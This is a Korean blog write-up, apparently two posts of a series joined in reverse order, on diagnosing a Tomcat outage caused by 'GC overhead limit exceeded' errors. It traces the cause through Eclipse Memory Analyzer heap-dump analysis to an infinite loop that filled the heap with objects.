3. Heap Dump 파일 MAT에 Import

  그럼 위 같은 파일들이 나올꺼다. 저기 보라색 행성모양 아이콘이 MAT이다. 일단 메모리 설정부터 하자.

MAT 메모리 설정

저기 보이는 MemoryAnalyzer.ini 를 열어보자.

-vmargs-Xmx10g

  끝에 위 옵션을 추가해주자. 이 MAT 프로세스가 최대 10GB의 메모리를 점유하겠다는거다. 그리고 MAT 실행

  오우...실행 완료. 화면 하단에 보이는 Open a Heap Dump 버튼을 눌러서 아까 빼내온 java_pidxxxxx.hprof 파일을 열자.

  그럼 위 처럼 어떤 레포트 볼꺼냐? 물어보는데 디폴트로 선택된 누수 리포트(Leak Suspects Report)를 선택하고 Finish 해주자.

4. 메모리 누수(Memory Leak) 분석

System Overview

  자 1번 박스를 보자.. 어떤 어떤 한 부분이 거의 모든 부분을 차지하고 있는것으로 보인다. 딱 여기까지만 봐도. 아...이거 메모리 누수 맞구나 직감했다.

  노란색 배경의 2번 박스를 보면 이 메모리 누수의 유력한 용의자를 추천해준다 ..ㅋㅋ 음.. 어떤 한 쓰레드가 메모리를 98% 점유 했구만...... 보니까 java.lang.Object[]를 처리하는 중에 문제가 발생한 것으로 보인다.

  스프링에선 요청 하나당 쓰레드 하나가 처리하니까, 저기 찍혀있는 쓰레드ID를 카탈리나 로그에서 뒤져보면, 어떤 요청에, 어떤 파라미터로 요청이 왔는지 일단 메모해두면 문제해결하는데 도움이 된다.

  나의 경우에는 특정 모든 요청이 문제가 있던건 아니고, 어떤 요청에 특정 파라미터로 요청이 왔을때만 증상이 발생했다. 머 ㅋㅋ.. 지금 중요한건 아니고.. 저기서도 단서를 찾을 수 있다는 것을 알려주고 싶었다. 캡쳐해서 같이 보고싶긴 하나, 회사 소스, 운영계 파라미터를 공개할 수는 없기 때문에 이정도만 하겠다.

  다시 돌아와서 3번 박스를 보자. 여기 아주 확실하게 2번에서 문제가된 java.lang.Object[] 이게 소스중 어느파일, 몇 번째 줄인지까지 알려준다. 검은색으로 가린건 소스노출이 있어 가렸고 맨 하단 xxxController.java:266 이라고 써져있듯이, 저부분을 처리하다 메모리 누수가 발생했다고 보면 된다.

메모리에 적재된 객체 분석

  실제로 메모리에 어떤 객체들이 적재되었는지 보기위해서 See stacktrace with involved local variables. 를 클릭하자.

  그럼 이런 화면이 나온다. 당시에 메모리에 적제되어있는 객체들을 뽑아준다. 우리가 봐야할껀 파랗게 표시된 부분이다. 자동으로 MAT가 의심가는 객체를 저렇게 파랗게 하이라이트 해준다.

 

  1번 박스를 보면 딱봐도 저 0x66b6121c0 주소에 할당된 객체가 6.5기가나 잡아먹고 있다는것이 보인다. 그 객체를 눌러서2번 박스처럼 List Object를 눌러주자, 오른쪽 마우스누르는게 아니다. 저 주소값 적혀있는 객체 이름을 눌러주자. 그뒤 3번에 있는 with outgoing references 버튼을 눌러주자.

  자 대충 <class> 객체는 크기가 얼마 안크니 무시하고 6.5GB나 차지하고 있는 elementData를 까보자. 위처럼 나올꺼다. 보니까 Element 하나가 EgovMap 자료형인 ArrayList인가 보네? 1번 박스에 있는 메모리주소를 한번 봐보자, Element 끼리의 메모리 주소 간격이 모두 1BO (Hex) 로 동일하다, 연속적으로 쭉 할당된 것이다.

  2번 계산기에서 1BO를 10진수로 바꾸면 432이고 역시 EgovMap 객체 하나당 Retained Heap 을 보면 동일하게 432를 차지하고 있다. 근데 이런게 14,937,421 개나 생성됐다는것..(3번 박스)

  이걸 보고 메모리주소들만 보고 바로 직감했다. 아..먼가...반복문에서 new 로 객체생성하는 과정에서 무한루프 걸린거같은데...

  무작위로 객체하나를 까보니까 time, text가 들어가있다. 멀까? 사실 여기까지 볼 필요는 없었다. 그냥 호기심에 여기까지 뜯어본거고. System OverView에서 알려준 문제된 소스 위치로 바로 가도 된다 ㅋㅋ..한번 가보자.

5. 문제 원인

  사실 문제가 된 부분은 System Overview에서 찝어줬었다.. 사실 난 이걸 못봤고 다 끝나고 보니까 어??ㅋㅋ 머야 소스 위치까지 알려줘..? 하고 나중에 알았다. 아무튼 저기 컨트롤러 266번째 줄에서 문제가 발생한 것 같다네? 아마, Call Stack을 추적해서 저 객체들이 갑자기 불어난 지점을 찾아주는 것 같다.

  문제의 원인은 크게 3단계였나, 일단 1번 박스를 보면 Start 시간이 Last 시간보다 커질 경우 루프가 종료된다. 아마 루프 안에서 언젠가 Last 시간이 커지도록 증분이 되겠지? 라고 생각했지만 이상한 부분이 있었다.

  2번 박스를 보자, ㅋㅋㅋ 시간을 get해서 만약 null 이면 0이고, 즉 start 시간에 0을 더하니 start 시간은 그대로잖아? 그럼 start가 last보다 커지는 순간이 안오니 무한루프에 걸린거다.ㅋㅋㅋㅋㅋㅋㅋㅋㅋ

  3번 박스를 보면 무한 루프안에서 계속 EgovMap 객체를 생성해서 List에 넣어주고 있어다. 그럼 우리가 위에서 분석한거랑 똑같아진다 ㅋㅋㅋㅋ List에 객체를 무한히 생성하고, 이 무한히 생성된 객체가 메모리를 다잡아먹어서 메모리 누수가 발생한 것..실제로 우리가 그 outgoing references에서 본 EgovMap 객체 무더기가 다 이때 생성된 것이다.

  그럼 왜 이런현상을 지금 발견한걸까? ㅋㅋㅋ 사실 여태까지 저 컬럼이 null이 오는 경우가 없었다.... 그래서 다 정상적으로 처리되었지만, 아주 특수한 케이스로 .. 진짜 아주아주 극히 드문, 아니 처음이었지 이때가 ㅋㅋㅋ 아주 드문 케이스로 저 값이 null로 들어올 때가 있었던거다.

  사실 이문제 발생초기에 특정 파라미터가 문제가 일으키는게 아닐까 생각했어서 카탈리나 로그에서 OOM 발생 직전의 로그들을 다 보았지만, 이게, 딱 저 파라미터로 요청들어왔을 때 바로 로그에 남는게 아니고, 저 요청 후 객체를 생성하고 OOM이 걸릴때까지 몇초의 간격이 있었다. 그런데, 그 몇초 사이에 시스템에선 다른 요청처리한 것에 대한 로그가 그사이에 들어갔기 때문에 난 바로 알아차리지 못했다.. 보니까,, OOM 발생 직전에 항상 저 요청에 저 null이 오는 파라미터가 들어오더라 ㅋㅋ..

6. 후기

  흠..루프문 안에서 객체 생성은 굉장히 위험하다. 물론 내가짠 코드는 아니었지만, 나중에 이런 부분은 한번더 생각하보고 넘어갈 정도로 임팩트가 컸다 ㅋㅋ.. 실제로 운영에 영향을 줬으니까..

  아 사실 카탈리나 로그에서 코인 채굴하듯이 로그 뒤지고 하는거보다 그냥 MAT 돌렸으면 바로 잡을 수 있던건데, 실제로 메모리 누수에 대한 트러블 슈팅은 처음이어서 우왕좌왕 해맸던 것 같다. 처음에 이 메모리 관련 이슈로 문제가 발생했을 때 어디서부터 봐야하나 감을 잡을 수 없었는데 이번 경험을 통해서 앞으로 메모리 관련이슈가 발생했을때 음..이거랑 저거 한번체크해봐야겠구만! 하는 약간의 시야는 생긴 것 같다 ㅋㅋ

 

#WAS #이슈 #해결 #MAT #MemoryAnalyzer #힙 #힙메모리 #힙덤프 #JAVA #메모리누수 #memoryLeak #OOM #OutOfMemory #메모리분석 #톰캣 #WAS #오류 #다운 #종료 #꺼짐 #GC #overhead #limit #Exceeded #메모리릭 #메모리누수 #힙 #힙메모리 #메모리 #사용량 #점유률 #급등 #증가 #서버 #장애 #트러블슈팅

반응형
반응형

최근 운영중인 웹서비스가 비규칙적으로 다운되는 현상이 있었는데, 발생했던 문제와 그 문제를 해결하는 과정에 대해서 포스팅을 해보려고 한다. 서버 운영을 하는 실무자들에게 도움이 되었으면 좋겠다.

문제 발생

첫 발생이 3월 초쯤 이었던가?.. 운영중인 웹 서비스가 종종 다운되는 현상을 겪었다. 운영 서버에 요청을 보내면 처리되지 않다가 결국 몇 분 뒤 Tomcat 서버가 죽어 위처럼 Service Unavailable 메시지를 띄었다.

보통 부하 분산과 장애에 대비해 WAS를 이중화 해놓기 때문에 WAS하나가 죽어도 다른 WAS가 처리해 줄껀데, 브라우저가 응답대기 상태도 아니고 Service Unavailable 을 띄운걸로 봐서는 WAS두개가 모두 죽은 것 같았다.

어떤 문제가 있었던걸까? 여태까지 악성쿼리때문에 DB 락 걸이 걸려 부하가 걸리는 장애는 종종 겪어 보았지만, 이번 케이스는 달랐다.

단서 1. CPU 사용률에 최대 부하 발생

해당 상황이 접수되고나서 바로 확인해보니 이중화 된 WAS 두개가 아예 삭선처리되어 모두 뻗어있었다. 그냥 Tomcat 서비스가 다운된 상태...

문제가 최초 발생 했을 시간대의 CPU사용량을 보니 WAS 2번이 기존 5~10% 내외로 사용하던 사용량이 어느 시점에 80%까지 올라가며 최대 부하가 걸려있었다. 5분 뒤 WAS 1번도 따라서 같은 현상을 보이기 시작했다.

보통 지연이 길거나, 부하가 강한 요청 중 단순 조회작업이라면 Kill을 해서 일단 서비스 복구를 하고 분석을 할텐데.. 이건뭐 톰캣이 다 죽어있으니 뭘 할수도 없고 ㅋㅋ당장 서비스 복구를 위해 WAS 재부팅밖에 답이 없었다. 그리고 바로 WAS 로그를 확인해봤다.

단서 2. java.lang.OutOfMemoryError: GC overhead limit exceeded

톰캣 로그를 확인하니, 발생 했을 때로 추정되는 시간때에 모두 java.lang.OutOfMemoryError: GC overhead limit exceeded 오류가 찍혀있었다.

GC에 대해서 간단하게 알아보고 넘어가보자. JVM은 메모리 확보를 위해서 GC를 수행한다. 대학 Java 시간에 잠깐 배웠던 그 GC가 맞다 바로 가비지 컬렉션(Garbage collection)이다. 더 이상 사용되지 않는 객체에 대해서 메모리를 해체해주면서 메모리 풀을 관리해주는 친구다.

근데 저 GC overhead limit exceeded 메시지는 왜 띄었는가..?

* GC를 진행하는데 CPU 98% 이상 사용

* GC 진행 후 메모리 2%미만이 복구 되었을 때

일단은 메모리가 부족했던 걸까? 생각이 들었다. 찾아보니, 위 문제에 직면한 경우 보통 JVM 옵션으로 힙 리밋 제한을 없애거나 메모리 사용량을 늘리라고들 하더라. 사실. 나는 이런 셋팅쪽 문제가 아닐거라고 개인적으로 생각은 들었지만, 팀 내부적으론 일단 메모리 부족으로 방향을 잡고, 톰캣, 자바 셋팅쪽을 손봤다.

하지만, 내 예상처럼 이런 증상은 셋팅으로 해결되지 않았다. 몇 일간 원인모를 이유로 서버는 다운됐다..ㅠ

그리고 GC 로그를 확인하기 위해서 서버에 GC로그를 남기는 설정도 추가하여 해당 문제가 발생했을 때 GC로그를 확인했으나, "GC 할껀데 메모리 없어~~~" 사실상 이런 내용만 도배되어있었다. 그런데 GC 시도 엄청 많이 했긴 했더라......암튼 이문제를 해결하는데 GC로그는 도움되지 않았다..

단서 3. 특정 요청에 문제가 생기는 것은 아니었다.

이게 어떤 특정요청에만 생기는 현상일까 생각이 들었다. 머 배치가 돌때 먼가 잘못 도는게 있는걸까? 아니면 사용자가 이상한 파라미터를 던져서 처리를 못하나...? 신기하게도 새벽에는 이런일이 발생하질 않네?.. 해서 의심이 갔었다.

문제가 발생했었을 때의 로그를 확인했으나, 공통점은 없었다. 심지어 GC error 가 발생한 해당 요청을 같은 파라미터를 넣고 다시 요청해도 같은 현상은 발생하지 않았다.

결론부터 말하자면, 특정한 요청이 문제가 됐었다. 다만, 내가 바로 찾지 못한 이유는, 이미 문제가 발생한 이후에 로그에 찍힌 GC error 로그에만 집착했기 때문이었다. 일단은 GC error 로그가 어떤 요청에 찍혔다 하더라도, 그 요청이 문제가 아니라는 거다. 이미 문제는 발생했고, 우연히 그 요청을 처리중일 때 GC 가 동작하여 error 을 띄운거란거다.

만약 이방법으로 간단하게 볼려면, GC Limit 이 발생하기 전 로그들을 뒤져봐야 한다.

이런 현상이 지속되고, 팀원들이 이 문제를 해결하기 위해 이미 붙어있었기 때문에, 내 업무를 좀 쳐내고 나중에 시간이 남으면 보려고 생각했다. 뭐 그때쯤 가서 이미 해결이 되면, 좋은거긴 한데, 나는 셋팅쪽 문제가 아닐꺼란 생각이 계속 들었다.

단서 4. 힙메모리 사용량 증가

시간적 여유가 생겨 다시 문제를 분석해봤다. 보니까 해당 문제가 발생 했을 때 CPU사용량도 돌라갔었지만, 힙 메모리 사용량도 폭발적으로 증가하는 현상이 확인되었다.

왜 처음부터 힙메모리 관제에 신경쓰지 않았을까, 평소에 악성쿼리처럼 CPU를 많이 점유하던 장애를 주로 만났었기 때문에 메모리보다는 CPU 사용량이나 어떤 요청이 왔는지 이런거 위주로 봤던게 좀 방심했던 것 같다.

원래 힙메모리 사용량의 이상적인 그래프는 맨 아래 그래프처럼 어느정도 메모리가 올라가다 GC가 작동하여 떨어지고, 계속 반복하여 적정한 수준을 유지하는게 이상적이다.

하지만 위 사진을 보다시피 3월 16일동안 3회나 01번 02번 WAS 힙메모리 점유율이 급격하게 올라가는 것을 볼 수 있다.

문제 해결을 위한 방향성 잡기

자 여기까지 정리를 해보자.

1. 새벽이 아닌 주야간 워크 타임때, 그리고 불특정, 비규칙적인 시간에 서버가 다운이 된다.

2. CPU 사용량과 힙 메모리 점유율이 급격히 상승한다.

3. 서버 에러 로그에는 GC overhead limit exceeded 이 발생한다.

자 일단 에러로그에 GC 할 메모리가 부족하다고 되어있어서 GC에만 문제가 있었던건가 여기에만 집중했지만, 내 생각에는 이건 메모리가 부족해지고 나서, 즉 어떤 문제가 발생하고 그 이후에 파생된 현상이지 주 원인은 갑작스럽게 메모리를 차지한 어떤게 있을거라고 생각했다.

즉, 어떤 원인에 의해 메모리가 급격하게 사용되었고, 그 이후에 평소처럼 GC를 하려니 GC 리밋 로그를 띄운 것 이다. 나도 그랬지만, 보통 다른 사람들도 이 GC 리밋 에러 로그를 보고, 왜 GC 리밋 로그를 띄었을까..? 검색해보면 "서버 힙메모리가 부족하네요 ㅎㅎ" 이럴텐데 이렇게 접근해서는 해결 할 수 없는 문제였다. (내 케이스의 경우)

자. 정리하자면 GC 관련된 문제가 아닐꺼다, 무언가가 힙메모리를 엄청나게 차지하니까, 당연히 GC도 못하니 저 오류를 띄운거고, 우리는 앞으로 어떤 녀석이 힙메모리를 그 순간에 차지하고 있었는지를 찾아야한다.

앞으로 해야할게 바로 힙메모리 분석이다. 다음 포스팅을 통해서 힙메모리 분석을 어떻게 했고, 어떤게 원인이었으며, 어떻게 조치했는지에 대해서 알아보자

 

#톰캣 #WAS #오류 #다운 #종료 #꺼짐 #GC #overhead #limit #Exceeded #메모리릭 #메모리누수 #힙 #힙메모리 #메모리 #사용량 #점유률 #급등 #증가 #서버 #장애 #트러블 슈팅

반응형

+ Recent posts